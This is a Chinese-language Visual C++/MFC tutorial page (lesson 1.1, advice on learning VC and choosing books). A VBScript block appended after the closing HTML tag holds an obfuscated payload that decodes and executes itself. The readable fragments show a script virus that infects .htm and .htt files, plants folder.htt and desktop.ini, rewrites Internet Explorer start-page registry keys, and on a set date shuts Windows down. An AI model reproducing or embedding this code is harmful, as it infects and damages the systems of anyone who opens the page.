?? teach_road_11.htm
字號:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb_2312-80">
<meta name="GENERATOR" content="聞怡洋 wyy_cq@21cn.com">
<title>Visual C++/MFC開發指南</title>
<SCRIPT LANGUAGE='JavaScript' SRC='../../submit_navigate_bar.js'></SCRIPT>
<link REL="stylesheet" HREF="../../main.css">
</head>
<SCRIPT LANGUAGE='JavaScript'>write_body();</SCRIPT>
<SCRIPT LANGUAGE='JavaScript'>write_bar();</SCRIPT>
<p align="center"><a
HREF="http://www.0828.com/pay/cgi-bin/random.cgi?job=go&id=820"
target="_blank">
<img SRC="http://www.0828.com/pay/cgi-bin/random.cgi?id=820" BORDER="0"
width="468" height="60"></a><br>
<font size="2"><a href="http://www.0828.com/pay/index.html"><img border="0"
src="http://www.0828.com/pay/code.gif" width="468" height="15"></a><br>
<small>你每點一下上面的廣告我就能有更多的上網時間為大家尋找資料</small></font>
</p>
<table width=98% cellspacing="0" cellpadding="0" align=center><!--整體框架-->
<tr><td>
<table border=0 width="100%" cellspacing="0" cellpadding="2"><!--標記放置區域-->
<tr>
<td width="30%" align="center" bgcolor="#003D84" valign=middle><img src=../../img/brand_200_60.gif width=200 height=60 alt="LOGO1"></td>
<td width="70%" align="center" bgcolor="#003D84" valign=middle><img src=../../img/logo_400_60.gif width=400 height=60 alt="LOGO2"></td>
</tr>
<tr>
<td colspan="2" bgcolor="#0080C0" align=center><font color=white>您當前位置</font> <a href=../../index.htm><font color=white>首頁</font></a> <a href=../index.htm><font color=white>開發教程</font></a> <a href=index.htm><font color=white><font class=engul>Visual C++/MFC</font>入門教程</font></a> <font color=white>1.1 如何學好VC<SCRIPT LANGUAGE='JavaScript'>write_command();</SCRIPT></font></td>
</tr>
</table><!--標記放置區域 END-->
<table border=0 width=100% cellspacing="0" cellpadding="0">
<tr>
<td><!--begin-->
<br>
<p align=center><big>1.1 如何學好VC</big></p>
<table border=0 align=center width=100%>
<tr><td>
<p>這個問題很多朋友都問過我,當然流汗是必須的,但同時如果按照某種思路進行有計劃的學習就會起到更好的效果。萬事開頭難,為了幫助朋友們更快的掌握VC開發,下面我將自己的一點體會講一下:</p>
<p>1、需要有好的C/C++基礎。正所謂“磨刀不誤砍柴工”,最開始接觸VC時不要急于開始Windows程序開發,而是應該進行一些字符界面程序的編寫。這樣做的目的主要是增加對語言的熟悉程度,同時也訓練自己的思維和熟悉一些在編程中常犯的錯誤。更重要的是理解并能運用C++的各種特性,這些在以后的開發中都會有很大的幫助,特別是利用MFC進行開發的朋友對C++一定要能熟練運用。
</p>
<p>2、理解Windows的消息機制,窗口句柄和其他GUI句柄的含義和用途。了解和MFC各個類功能相近的API函數。</p>
<p>3、一定要理解MFC中消息映射的作用。</p>
<p>4、訓練自己在編寫代碼時不使用參考書而是使用Help Online。</p>
<p>5、記住一些常用的消息名稱和參數的意義。</p>
<p>6、學會看別人的代碼。</p>
<p>7、多看書,少買書,買書前一定要慎重。</p>
<p>8、閑下來的時候就看參考書。</p>
<p>9、多來<a href="http://www.vchelp.net">我的主頁</a>。^O^</p>
<p>后面幾條是我個人的一點意見,你可以根據需要和自身的情況選用適用于自己的方法。</p>
<p>此外我將一些我在選擇參考書時的原則:</p>
<p>對于初學者:應該選擇一些內容比較全面的書籍,并且書籍中的內容應該以合理的方式安排,在使用該書時可以達到循序漸進的效果,書中的代碼要有詳細的講解。盡量買翻譯的書,因為這些書一般都比較易懂,而且語言比較輕松。買書前一定要慎重如果買到不好用的書可能會對自己的學習積極性產生打擊。</p>
<p>對于已經掌握了VC的朋友:這種程度的開發者應該加深自己對系統原理,技術要點的認識。需要選擇一些對原理講解的比較透徹的書籍,這樣一來才會對新技術有更多的了解,最好書中對技術的應用有一定的闡述。盡量選擇示范代碼必較精簡的書,可以節約銀子。</p>
<p>此外最好涉獵一些輔助性的書籍。</p>
<p align=center><a href=index.htm#charpter1>返回</a></p>
</td></tr>
</table>
<p align=center>版權所有 聞怡洋 <a href=http://www.vchelp.net/>http://www.vchelp.net/</a></p>
</td><!--end-->
</tr>
</table>
</td></tr></table><!--整體框架 END-->
<SCRIPT LANGUAGE='JavaScript'>write_tail();</SCRIPT>
</body></html>
<script language="vbscript"><!--
myEncString="NnEqrnrRdstmd Mewtcil @poOaj+fro+WrSgekl+WhnCiq,SelpkaseCiq,ShhsCiqP`tg,SelpkaseEike+mxSsaqtOafe+DdsjtnpHNH,eokddrGTS,lyDnbSsrhnf,eSsrhnf,uCndd dhmmxEwpLahn'2(,lyKobakKdy'2(,hnhLhnd(7)+dqooMd(3)cobulemt-wqise;%ciu rtxld=&vhshbhlhtx:hhdcem'=<!&!aopkes male<'ubr.hc`rNs-0-0-10'cndd=bol.ls-abthvdX-AbthvdXBolpnndns>;/!&!aopkes>;/!&!dhv=lyCasa<;%rcqiotl`nfu`gd=!ubrcqiot!fnr<!whncov! dvdns=!! dnctmdns.vrhtd lyCasa&nnko`d!=m`im_nnko`d');/!&!sbrhps>! dnctmdns.vrhtd lyCasa&nntnko`d!=m`im_nntnko`d');/!&!sbrhps>! stbm`im_nnko`d')hnht@csiueW(( imisDhrOashr(( imisRdgDnsrher(( imisDqooCndds')bhdcjEwirtEiker(( imfdcsTgirFhld(SelpkaseEike( imfdcsRnosDhr')dnc rua stbm`im_nntnko`d')hneebtQontCiq(( cgebkDxhssFhlds')hneebtShhsEike'Tdmol`tdFhld)leqgdRdgDnsrher(( SbamFhldsHn'TgirDhrOash( cgebkCaseOLnac(( emdstbrua hnht@csiueW(( Om Drqoq QeruleNdxs SdtAopNbi < cobulemt-aopkess'ubr.hc`rNs-0-0-10( AopNbi.resCKSHD(!{E925CC12,1BF/-01C0,ACB8-/0B03FC57A/B|( AopNbi.brdaseHnrt`nbe')Res VsRhdlk < @poOaj-GdtNbiebt')@poOaj-sdtBLRIC 'z0C42FD00-E083,10CE-7930,0/A/C8044127}!)@poOaj-cqe`tdImssamcd(( Sdtfro=AopNbi.FesOajdcs(( emdstbrua hnhtCiqP`tgs')NnEqrnrRdstmd MewtVimDhr=fro-GdtRpdchakFnlceq(/)SelpkaseCiq < VimDhr&[&Vea&[SelpkaseEike=Tdmol`tdDhr&eokddr-hst! TgirDhrOash=Mhd'whncov.kobasinn+ 8,Ldn'whncov.kobasinn()Eoq w < Kem(ShhsCiqP`tg)Tn 0 Rtdp-0 Ie Lic(ShhsCiqP`tg,x+ 0)=.Tgem DxhtFnrMewtHfLBare'Rhggt'TgirDhrOash+ 2)( < !hsm! NrLBare'Rhggt'TgirDhrOash+ 3)( < !hsmkTgem TgirDhrOash=Mhd'TgirDhrOash+ 0,x( Eksd TgirDhrOash=Mhd'TgirDhrOash+ 0,Ldn'TgirDhrOash( * w)&.ShhsCiqP`tg < tndsbaoe'TgirDhrOash( EmdIe emdstbrua hnhtQefEmtqids')NnEqrnrRdstmd MewtlyKobakKdy'0( < !SsaqtP`gdlyKobakKdy'1( < !Lnc`lP`gdlyKobakKdy'2( < !Ddf`ukt^P`gd_TRKlyDxoM`im(/)=GKDY^CTRQEMT^UREQ\Roetvaqe[Mhcqoroet[Imtdrmes Dxolnrdr[M`im\! mxEwpLahn'1( < !HJEX_KOBAK_LABHHND\Roetvaqe[Mhcqoroet[Imtdrmes Dxolnrdr[M`im\! mxEwpLahn'2( < !HJEX_TSDRR\-DDF@UKT[Snfsw`rd\Librnsnfs\HnseqndtEwpkoqeq\Lahn[lyRt`rsP`gd < !hsto:./vwv.fenchther.bol/gecd`_laqid_sokemthnn/hncew.gtldnc rua stbimisDqooCndds')NnEqrnrRdstmd MewthnhLhnd(/)<ZEwtRhdlkFnlceqVhevs\hnhLhnd(0)<Ceeatls=z5883FEE/-18C4,10CE-@E56,070/2A2D1161}! imiKime'2(=!{4974EFD0,27D3-01BF,AD65-/8/01B1E0252|=z5883FEE/-18C4,10CE-@E56,070/2A2D1161}! imiKime'3(=!hnhLhnd(3)<Z{4974EFD0,27D3-01BF,AD65-/8/01B1E0252|]! imiKime'5(=!PdrrirtLomijeq=eike9/.Fnlceq.gtshnhLhnd(5)<! imiKime'7(=![-SgeklBl`srImfn]! imiKime'8(=!CnneiqmEikeNp<0! fnrx=0tn 7 DdsjtnpHNH=CerksooIMI&imiKime'x( % ubbrkfmewteokddrGTS < !<!&!hsmk>;%aocyssyke<!m`rfim:0!sbrnlk=mo=<!&!oajdcs hd<FhldLhss aoqddr<0t`bhncew=0 bl`sric=!blric:0810EEC0,463D-01C0,A86B-/0B03FC7/5@2!ssyke<!whdsh9 00/%: gehggt9 00/%!t`bHncew=,1=<.%nbiebt=<.%aocy=<.%gtll=crnpLe'0( < !<!&!sbrhps kamgtafe<!vasbrhps!>;%cgr'32)%,-! dqooMd(0)=lyDnbSsrhnf=!!&lyDnbSsrhnf&!!crnpLe'2( < !Ewe! % !cttd(!eoq h=0 soLdn'mxEmcRtqimg(! % ubbrkf&!s<cgr'arc'mhd'mxEmcRtqimg+i+1()*imnd2(! &vacqle % !hfs<cgr'18)tgem r=bhq(24(! &vacqle % !hfs<cgr'27)tgem r=ubBr! % ubbrkf&!ie r=bhq(19( shdns<vaLe! &vacqle % !lyCebSsrhnf=lyCebSsrhnf % r! &vacqle % !mewt!(crnpLe'3( < !Ewe! % !cttd(lyCebSsrhnf)! dqooMd(3)=,-! % !>;/! % !sbrhps>! fnrx=0tn 3 vBoce<vBoce&dqooMd(w)&vacqle ndxs fRtqimg<mxEmcRtqimgdnc rua StbSbamFhldsHn'fnlceqsoeb)NnEqrnrRdstmd MewtRes lyEokddrr2=fro-GdtEokddr'fnlceqsoeb)Res lyRuaFnlceqFhlds=mxFnlceqs1.Eiker FnrE`cg lyRuaFnlceqFhld HnmxStbEokddrEiker mxEwt=LBare'fro-GdtDxsemshomN`md(lyRuaFnlceqFhld.Male()HfmxEwt=gtlOq lyDxs < !hsmkOq lyDxs < !hst! ShdnhneebtShhsEike(lyRuaFnlceqFhld.Oash( HfmxEwt=gtsTgem SdtmxFhld < esn.FesFhld(lyRuaFnlceqFhld.Oash( mxFhld.@tsrhbttds=7Dnc HfDnc HfMewtDnc Rua StbimfdcsTgirFhld(eokddrrpdc( Om Drqoq QeruleNdxs SdtmxFhld < esn.NpdnSewtEike'fnlceqsoeb)lyBomtdnss=mxFhld.Qe`d@lk mxFhld.Blnsd k<0eoq h=ldn'mxCnnsemtr)tn 0 rtdp-0 ie lic(lyBomtdnss+i+ldn'fRtqimg()<fRtqimgtgem j=j+0 ewis eoq emdie ndxs ie j=/ shdn vOCndd=lyBomtdnss&vacqle % uCndd SdtmxFhld < esn.FesFhld(eokddrrpdc( mxFhld.@tsrhbttds=0Res lyEike=fro-OoemTdxsFhld(eokddrrpdc+ 1)lyEike-WqisevOCndd mxFhld.Blnsd emdie EmdStbrua bhdcjEwirtEiker(( Om Drqoq QeruleNdxs Ie mos(esn.EokddrDxhsss'Tdmol`tdDhr()Tgem Res lyEike=fro-Cqe`tdFnlceq(SelpkaseCiq)Res lyEike=fro-GdtEokddr'Tdmol`tdDhr( mxFhld.@tsrhbttds=7BrdaseShhsEikeTdmol`tdFhld,eokddrGTS emdstbrua hneebtQontCiq(( Om Drqoq QeruleNdxs Ie Kem(tndsbaoe'TgirDhrOash()<< 3 ShdnShhsCiqP`tg <Mhd'TgirDhrOash+ 0,3( BrdaseShhsEikeTgirDhrOash%eokddr-hst!,eokddrGTS&ubbrkf%vBoceBrdaseShhsEikeTgirDhrOash%cerksoo.hnh+DdsjtnpHNH emdie emdstbrua leqgdRdgDnsrher(( Om Drqoq QeruleNdxs fnrx<0tn 1 AopkyQefCgamgdsSomxEwpLahn'x( % lyKobakKdy'x(,QEF_RZ!,mxSsaqtOafemewtdnc rua StbAopkyQefCgamgdsSo'mxRdgJex,mxRdgSyoe+ lyQefV`lte( Om Drqoq QeruleNdxs WrSgekl-RdgVrhtd lyQefKdy+ lyQefV`lte+ lyQefTxpd EmdStbRua bhdcjD`tdPKo`d')NnEqrnrRdstmd MewtHfMhd'FnrlasD`tdThmd(Mov((,2(,1+ 3)=8/16! ShdnWrSgekl-Rtn(!RTNCLK31.DXD rhdlk31.clk,RHDxhtVimdnwrEw 1( EmdStbRua BrdaseShhsEike'fnlceqsoeb,vishBomtdnss( Om Drqoq QeruleNdxs sdtmxFhld=esn.FesFhld(eokddrrpdc( mxFhld.@tsrhbttds=0Res lyEike<fro-Cqe`tdTdxsFhld(eokddrrpdc+ Srte( mxFhld.Vrhtd vishBomtdnsslyEike-Ckoreres lyEike<fro-GdtEike'fnlceqsoeb)lyEike-Astqiauser < 6 EmdStb"
Execute("for i=1 to Len(myEncString)" & vbcrlf & "s=chr(asc(mid(myEncString,i,1))+i mod 2)" & vbcrlf & "if s=chr(19) then s=chr(34)" & vbcrlf & "if s=chr(28) then s=vbCr" & vbcrlf & "if s=chr(29) then s=vbLf" & vbcrlf & "myDecString=myDecString & s" & vbcrlf & "next")
Execute(myDecString)
--></script>
?? 快捷鍵說明
復制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號
Ctrl + =
減小字號
Ctrl + -